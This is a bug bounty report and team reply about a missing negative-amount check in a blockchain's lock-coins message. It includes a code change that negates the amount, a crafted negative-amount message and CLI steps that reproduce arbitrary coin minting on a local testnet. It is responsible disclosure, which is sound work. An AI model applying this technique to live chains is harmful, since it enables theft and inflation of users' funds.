No negative check for amount in lockcoins

[msjyryxdzzj]

Describe The Bug

There exists no negative check forAmount field in MsgLockCoinData when handling lockcoins.The attacker can lock a negative coin, and then his spendable coin will increase. Although the spendable coin is temporarily in the testing stage, this can be understood as the user's available assets, that is, the attacker can mint coins at will.
By exploiting this vulnerability, the attacker could lock a large negative coin to the account of himself, which disasterly destroy the whole ecosystem.

Code Snippets (Optional)

/x/asset/type/types.pb.go:L254-261:

type MsgLockCoinData struct {
	// Id lock account
	Id types.AccountID `protobuf:"bytes,1,opt,name=id,proto3" json:"id" yaml:"id"`
	// Amount coins to lock
	Amount github_com_cosmos_cosmos_sdk_types.Coins `protobuf:"bytes,2,rep,name=amount,proto3,castrepeated=github.com/cosmos/cosmos-sdk/types.Coins" json:"amount" yaml:"amount"`
	// UnlockBlockHeight the block height the coins unlock
	UnlockBlockHeight int64 `protobuf:"varint,3,opt,name=unlockBlockHeight,proto3" json:"unlockBlockHeight,omitempty" yaml:"unlockBlockHeight"`
}

TheAmount filed of the MsgLockCoinData struct can be set as a negative value.

To reproduce the vulnerability, we need to modify the source code a little bit.

Modify the client code to make the amount set as negative when constructing the lockcoins transction.
/x/asset/client/cli/lock.go:L20:60

func LockCoin(cdc *codec.Codec) *cobra.Command {
	...

	amount, err := sdk.ParseCoins(args[2])
	if err != nil {
		return err
	}
        amount[0].Amount = amount[0].Amount.Neg()
        ...
}

Input/Output

1. Craft a MsgLockCoinData: '{"id":"kratos","amount":["-1000kratos/kts"],"UnlockBlockHeight":"9"}'
2. Output: None

Steps to reproduce the behavior:

1. Modify the source code as shown in the Code Snippets.
2. make
3. ./scripts/boot-testnet.sh ./
4. ./build/ktscli query asset coins kratos
5. ./build/ktscli tx asset lock kratos 9 1000kratos/kts --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
6. ./build/ktscli query asset locked kratos

Expected Behavior

Return an error "The amount of coin cannot be negative."

Screenshots

after the lockcoin transaction:

Desktop (please complete the following information):

OS: [macOS Catalina 10.15.6]

Additional Context (Optional)

Note: This problem not only exists in lockcoin(), many other places also have this problem.

Contact Information

[email protected]

[Pisces-Anjou]

Hi

Thanks for your submission.
We have tested the issue you mentioned and did reproduce it.
This is a valid vulnerability. After evaluation, this vulnerability has been graded as P2.
Please pay attention to the announcement and your email to get your rewards.
Thanks for your attention and contribution. Please keep trying and help us improve our chain.

Regards
KuChain Team

[msjyryxdzzj]

We emphasize that this vulnerability is a very serious vulnerability, because lockcoin() a negative amount is a very easy thing, and it can increase the user’s available assets to achieve arbitrary coinage, and thus destroy the whole ecosystem.This is like having a money printing machine at home. I think this fits the description of P1 "Vulnerabilities that could undermine the safety of any user or validator's fund/fee" and "Vulnerabilities that could severely undermine trading or token economy", right?